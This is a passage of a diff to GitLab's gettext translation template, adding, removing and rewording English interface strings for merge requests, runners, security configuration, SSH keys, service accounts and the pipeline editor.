-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
